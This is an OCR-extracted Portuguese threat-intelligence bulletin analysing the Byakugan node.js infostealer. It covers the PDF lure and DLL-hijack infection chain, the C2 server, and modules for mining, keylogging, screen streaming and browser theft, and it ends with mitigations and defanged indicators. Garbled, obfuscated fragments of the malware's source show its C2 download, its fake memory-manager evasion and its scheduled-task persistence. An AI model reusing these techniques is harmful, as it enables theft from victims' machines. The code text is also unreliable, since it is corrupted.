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A conta oficial do grupo de Threat Intelligence da ISH.
Conheg¢a mais do que fazemos aqui:

Acesse boletins diarios sobre agentes de ameacas,
malwares, indicadores de comprometimentos, TIPs e
outras informacgoes no site da ISH.

Boletins de Seguranca - Heimdall

Malware Ransomware

CONTAS DO FACEBOOK SAD INVADIDAS ALERTA PARA RETORNO DO MALWARE GRUPO DE RANSOMWARE CLOP
POR EXTENSOES MALICIOSAS DE EMOTET! EXPLORANDO VULNERABILIDADE PARA
NAVEGADORES NOVAS VITIMAS

0 malware Emotet apés permanecer alguns
Descoberto recentemente que atores meses sem operagdes retornou cou outro 0 grupo de Ransomware conhecido como
maliciosos utilizam extensdes de meio de propagagao, via OneNote e também ClOp esta explorando ativamente a
navegadores para realizar o roubo de cookies dos métodos ja conhecidos via Planilhas e vulnerabilidade conhecida como
de sessoes de sites como o Facebook. A Documentos do Microsoft Office CVE-2023-0669, na qual realizou o ataque a
extensdo maliciosa é oferecida como um diversas organizagdes e expds os dados no
anexo do ChatGPT. site de data leaks
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1 SUMARIO EXECUTIVO

A FortiGuard Labs se deparou com um PDF em portugués que disseminava
um malware multifuncional chamado Byakugan. Durante a investigacdo dessa
campanha, um relatdrio foi divulgado. Assim, este documento se concentrara
principalmente nos detalhes do infostealer, fornecendo uma analise concisa.
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2 INFORMAGAO SOBRE A INFECGAO
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Drop i chrome.exe
——>

' :

! - I

' Legalinstaller "€4uIre.cxe o Execute

' (Copy)

o o e e e o |

L a
—

BluetoothDiagnosticUtil.dll
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UAC Bypass via DLL hijacking

Reader_Install_Setup.exe

Legal msdt.exe

Figura 1 - Fluxo de infec¢éo.

Na imagem acima, mostra o fluxo de infecgao solicitando ao usuario que
cliqgue em um link mal-intencionado no arquivo PDF para acessar o conteido. Uma
vez que o link é acionado, um downloader é descarregado. Este downloader
deposita uma réplica de si mesmo (require.exe), juntamente com um instalador
limpo, na pasta temporaria. Posteriormente, ele faz o download de uma DLL
(Dynamic Link Library), que ¢ ativada através do sequestro de DLL para executar o
require.exe e baixar o médulo principal (chrome.exe). Ele aciona a réplica do
downloader (require.exe), e ndo o downloader (Reader_Install_Setup.exe), pois
quando o downloader € denominado "require.exe" e esta localizado na pasta temp,
seu comportamento difere do Reader_Install_Setup.exe.

re

Imwmmmqmm.mmouhm

Para este baixe 1 © Adobe Reader, clique aquil

Figura 2 — Arquivos PDF usados no ataque.
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PDFelement

Figura 3 - Instalador incorporado ao downloader.

O downloader faz o download do médulo principal do Byakugan a partir do
thinkforce[.]Jcom[.]br. Este atua como o servidor C2, de onde o Byakugan obtém
arquivos e instrugodes. Além disso, pode servir como um painel de controle para o
invasor. Existe uma pagina de login disponivel na porta 8080. As descrigdes de suas
funcionalidades foram encontradas no codigo-fonte da pagina.

™ Byakugan - Auth X + v

C @ O 8 https//thinkforce.com.br:8080/auth kg

Got invited? Sing up now

Figura 4 — Pagina de login.
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name: "minex",
ticle: "Crypto Miner™,
ico: {

arc: qm,

clasas: "pagelco2™

dr
desc: "View statics such hashrate, total mining time and contreol the crypto miner with individual hardwares!”

name: “screenshare®,
title: "Liwve streaming®,
ico: {

sre: je,

class: "pagelco2™

be
deac: "View a live streaming from client desaktop with high wvideo and audioc gquality!"™

Figura 5 - Cédigo-fonte da pagina de login.

Byakugan é um malware que utiliza node.js e é compactado em um
executavel através do pkg. Além do script principal, ha varias bibliotecas que
correspondem a diferentes funcionalidades.

http-proxy 3/21/2024 7:24 PM
ﬂ apis.js 3/21/2024 7:24 PM
(3] browser.js 3/21/2024 7:24 PM KB
(3] cdpijs 3/21/2024 7:24 PM KB
3] decompress.js 3/21/2024 7:24 PM KB
:é] defaults,js 3/21/2024 7:24 PM 27KB
_;‘SJ device.js 3/21/2024 7:24 PM KB
(3] files.js 3/21/2024 7:24 PM 14 KB
[B] minerjs 3/21/2024 7:24 PM 18 KB
(2] pickup.js 3/21/2024 7:24 PM A KB
3] secrets.js 3/21/2024 7:24 PM
'_3' shell.js 3/21/2024 7:24 PM 6k
ﬂ socket.js 3/21/2024 7:24 PM KB
[B] sqlite3.js 3/21/2024 7:24 PM KB
;§J streamer.js 3/21/2024 7:24 PM KB

Figura 6 — Bibliotecas do Byakugan

O Byakugan tem a capacidade de fazer download de arquivos adicionais
necessarios para suas operacdes. Esses arquivos sao guardados no diretdrio
padréo, % APPDATA%ChromeApplication, que também € utilizado para guardar os
dados gerados pelo proprio Byakugan.

O malware possui algumas caracteristicas, como:
Monitor de tela
e Lib: streamer.js

Ele usa OBS Studio para monitorar a area de trabalho da vitima.

O

heimdall
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I3.mkdir(_OX39617a + "\\cbs-studio®, {
‘recursive': true
), async _Oxecd73b =»> {

1:
le(_0x39617a + "\\cb
5 x.y
. _OxSlebSc => (
getPorz () .then(async _O

cEE =

studic\\global.ini", _Ox2£50Be.join{"\n"), {

5" 4 random.int( s )
szes();
d(_Oxle6l6s => _Oxle6lée.filePath —= "C:\\Windows\\explorer.exe") ;
const 018208 — awalt BySpavmbrocess(f
Tr11ET: _ON1E3STL + 5¢ . exen

-check”, "--dissble-updater”, "--websocket password”, [JOEMEEGEM, "--websocket port”, 0x1d7757, '-m'l,

Figura 7 - Configuragéo e os argumentos do OBS Studio.

Em uma versao anterior
(7435f11e41735736ea95e0c8a66e15014ee238c3a746c0f5b3d4faf4d05215af), o
Byakugan realizava o download do software a partir de seu préprio dominio. No
entanto, essa caracteristica ndo € observada na variante mais recente.

Lib de captura de tela
e :api.js

Faz capturas de tela usando APIs do Windows.

const _0x280c6l ffi.Function(INT, [HANDLE, HANDLE, ref.refType(_GUID), ref.refType(_EncoderParameters)]):

const _0x136830 = ffi.Function(INT, [HANDLE, "string”, ref.refType (ULONG)]):
const _Ox33bfca = ffi.Function(INT, [HANDLE]):

this.gdiplus32 = ByGetProcAddressEx("gdiplus.dll”™, [{

r': _Oxlbabfl

©':  Ox3fedb3

r': _Ox2bé%ad

oStream",

r': _0x280ce6l

Figura 8 - Camada de APIs do Windows polo Byakugancom interface de fungéao externa Node.js.

Miner
e Lib: miner.js

O invasor pode decidir se deseja ou nao continuar a mineragao quando a
vitima estiver jogando jogos altamente exigentes, o que pode afetar o desempenho.
O invasor também pode escolher entre minerar com CPU ou GPU para evitar
sobrecarga do sistema. Ele baixa uma variedade de mineradores famosos, como
Xmrig, t-rex e NBMiner, e os armazena em uma pasta chamada MicrosoftEdge no
caminho base.

let 0x106523 = await download(ENDPOINT + "/do
await assetModule(_0x106523.data, _OxccO8bc,
clientSettings.config.minerVersion = "1.0.2";
upgradeMeta() ;

}

ming\\MicrosoftEdge\\miner mod + clientSettings.config.m:
clientSettings.config.main + ner modules\\teamred\\team:

Figura 9 — Mineradores sdo armazenados na pasta MicrosoftEdge.

O
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Keylogger
e Lib: api.js

O keylogger armazena seus dados na pasta kl localizada no caminho
padréao.

if (this. latest.code —— && this. wvogals.includes(_ _0x25870fe)) {
const Ox3a3dfa = 0Ox2591739 == 0x2539179.toUpperCase():
switch (this. wvogals.indexOf( 0x23870fe)) {
case
_0r25917%
break;
case
_0x259179
break;

1
1

this. latest.shifted ? 'a' : 'a';

this. latest.shifted ?

Figura 10 — Suporte a diacriticos
Manipulacao de arquivos
e Lib:files.js

Fornece as funcgdes para upload e exploragao de arquivos.

socket.on("explore0Op", async (_OxSSDSC‘l, _Ox&lZESE} => {
explorerOperacion ( 0x55b5Sc4).then(async _0x56512f => 0x412636(_0x56512f)) .catch(async _0x3b4c75 => 0x412636({
code:
reason: "Error: " + Oxsjconst explorerOperation = _0x572c0c => new Promise (_0x5c7053 => {
”;. A - if (typeof _0x572cOc !== "object" || typeof _0x572cOc.type !== "string"”) {
h: ! return 0x5c7053 ({ ‘code!: , ‘reason': "Invalid options, try
socket.on("doULikeWendy's", } R .
if (typeof 0x1del36 !— " switch (_0x572cOc.type) {
return: - case "rename":
} renameTarget (_0x572c0c) .then(_0x62e32 => 0xS5c7053(_0x62e32)) ["catch”] (_0x3a213H
const _0x2249d1 = new URL (Y break:
0x1del36 (true) ; case Geosre - . , ,
g'jNativeReq({ deleteTargetst_OxS 712c0c) .then (_UXEO7CEf =2 _Dx5c7053(_0x207cef)] ['catch'] (_Oxdﬁ
url: ENDPOINT + "/getien break;
noWait: true, case ‘copy i _ .
method: "GET™ copyTargets (_0x572c0c) .then(_0x3efe03 => _0x5c7053(_0x3e8e03)) ["catch"] (_0x57d3
rethod: ET", -
headers: { break;
hest: _0x2248d1.host, case
accept: "application, A

Figura 11 - Fungdes para exploragdo de arquivos.
Stealer de informacgoes do navegador
e Lib: Browser.js

Byakugan pode roubar informacdes sobre cookies, cartdes de crédito,
downloads e perfis preenchidos automaticamente. Os dados sdo armazenados na
pasta bwdat no caminho base. Também pode injetar cookies em um navegador
especifico.

Além disso, existem alguns recursos que ajudam o Byakugan a viver o maior
tempo possivel:

Anti-analise

Se o nome do arquivo nao for chrome.exe ou nao estiver localizado na pasta
ChromeApplication, ele fingira ser um gerenciador de memoaria e se fechara.

O
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if (path.parse(process.argv[0]).base !'== defaultBaseBinary || !'path.parse(process.argv[C]).dir.includes("Chromefpplication” 1N
console.log (" [NODEJS]) Memory manager v1.0");
console.log();
const SrandomStuff = setInterval (() => {
const _0x34f71b = os.freemem():

const _Ox530764 = os.tevalmem():

const _Ox1819fc = _0x530764 - _Ox34f7lb’

console.log("[", new Date().toIS05tring() .splic("T")[C], ™1", "free:", _0Ox34f7lb, "total:", _0x530764, "in use:", _0x1818fc);
}, random.int( ¢ Yy
return setTimeout(() => {

clearInterval ($randomStuff) ;
process.exit(0):
}, random.int( . i

}

Figura 12 - Byakugan disfar¢cado de gerenciador de memdria.

Adicionalmente, ele estabelece arota utilizada para a exclusdo do Windows
Defender e autoriza arquivos no firewall do Windows.

Persisténcia

Ele insere um arquivo de configuracdo do agendador de tarefas na pasta
Defender no caminho base, o que faz com que ele seja executado
automaticamente na inicializacéo.

const ScheduleTask = async () => {
const _O0x2f0747 = buffering ("G
const _0OxSbfd48d =

const _0x27321f 0
const _0x5db38b = async () => {

if (fs.exists5ync(5Y532_DIR + "\\Tasks'\" + _0x2f0747) && checkMetaModuleVers
return setTimeout(_0x5db38b, ):

}

getSchIask(_Ox?fO‘H?, _Gx&bfﬂgdl .then(async _chﬂeOOc => {
if ( Oxd7e00c == null) {

const getSchTask = async (_0x53cOc8, _0x%4a213b) => new Promise (async _Ox56ee6a => {
const 0x20438% = 5Y532 DIR + "\\sc.exe":
const _Ox2cablc = XD 1= o\" e g UTE
const _3x2-2666e = " 4+ glientSettings.user + "
fs.wrltEFllE(_DxEEaﬁﬁe, _fJXZCablc, i

Figura 13 — Tarefa do Byakugan
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3 CONCLUSAO

Existe uma tendéncia em ascensao de incorporar componentes tanto
benignos quanto maliciosos em malwares, sendo o Byakugan um exemplo disso.
Tal estratégia amplifica o ruido produzido durante a analise, tornando mais
desafiador realizar detecgdes apuradas. Contudo, os arquivos que foram baixados
revelaram informacgdes cruciais sobre o funcionamento do Byakugan, auxiliando na
analise de seus moédulos maliciosos.
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4 RECOMENDAGOES

Além dos indicadores de comprometimento elencados abaixo pela ISH,
poderdo ser adotadas medidas visando a mitigacdo da infeccdo do referido
malware, como por exemplo:

Atualizacoes do sistema operacional
e Mantenha o sistema operacional sempre atualizado.
Cuidado com Anexos e Links Suspeitos

e FEvite clicar em links ou abrir anexos de fontes desconhecidas ou nao
confiaveis. O Byakugan costuma se espalhar através de arquivos PDF que
contém links maliciosos.

Ferramentas de Seguranca

e Utilize ferramentas de segurancga confidveis, como antivirus e firewalls, para
detectar e bloquear ameacas potenciais.

Monitoramento de Atividades Suspeitas

e Fique atento a qualquer atividade suspeita no seu sistema, como
desempenho lento ou comportamento estranho dos aplicativos, que podem
indicar a presenca de um malware.

Protecao de Dados Sensiveis

e Evite armazenar informacgdes sensiveis, como senhas e detalhes de cartado
de crédito, em navegadores da web.

Conscientizacao

e Esteja ciente das taticas comuns de engenharia social usadas por
cibercriminosos e treine-se para reconhecé-las.
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5 INDICADORES DE COMPROMISSOS

A ISH Tecnologia realiza o tratamento de diversos indicadores de
compromissos coletados por meio de fontes abertas, fechadas e também de
analises realizadas pela equipe de seguranca Heimdall. Diante disto, abaixo
listamos todos os Indicadores de Compromissos (IOCs) relacionadas a analise
do(s) artefato(s) deste relatoério.

Indicadores de compromisso do artefato
md5: b7044a1b801200d826c848ba38afAfed

sha1: 15b2bd0e7b5bcbb36f4d649725a96cc2al791ee4d
sha256: c7dbb5e9e65a221a5f78328b5a6141dd46a0459b88248e84de345b2a6e52b1d9
File name: comprovante.pdf

Indicadores de compromisso do artefato
md5: cfced95f3fe6c1c39c0291a466cd6fcO
sha1: f901c737834fbf0ac6c0b4aa784200d8b72fb9b1
sha256: c6fe9169764301cadccb252fbed218a1a997922f0df31d3e813b4fe2a3e6326d
File name: comprovante.pdf

Indicadores de compromisso do artefato

md>5:
sha1:
sha256:

fd91bbc05f3c8cad2387ff0cac5747af

09f0f70a4399dddeb741a5008210229e26931023

9ef9bbfce214eel0a2e563e56fb6486161c2a623cd91bb5be055f5745edd6479

File name: Reader_Install_Setup.exe

Indicadores de compromisso do artefato
md5: 8a3471a36ebb9879c6eddfadf70e854c
sha1: 51c7c3b4c44068f0a2304d60b124410414e0b398
sha256: 4d8eac070b6b95f61055b96fb6567a477dbc335ef163¢10514¢c864d9913d23ch
File name: pdfelement-pro_setup_full5254.exe

Indicadores de compromisso do artefato
md5: b24441f5249d173015dd0547d1654c6a

CHEYE 0c6c4e9292cf0aebd9f2fffead3a5e92a3b54act

sha256: 30991c9cac5f4c5c4f382f89055c3b5e9bb373c98ce6a5516d06db3f8a478554

File name: Adobe Download Manager
Tabela 1 -Indicadores de Compromissos de artefatos
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Indicadores de URL, IPs e Dominios

Indicadores de URL, IPs e Dominios
URL culpafade.com[.]br
thinkforce.com[.]br
Dominio github[.]Jcom/thomasdev33k
github[.]Jcom/fefifojs
github[.]Jcom/wonderreader
Tabela 2 - Indicadores de Compromissos de Rede.

Obs: Os links e enderecgos IP elencados acima podem estar ativos; cuidado ao realizar a

manipulacao dos referidos 10Cs, evite realizar o clique e se tornar vitima do conteudo
malicioso hospedado no loC.
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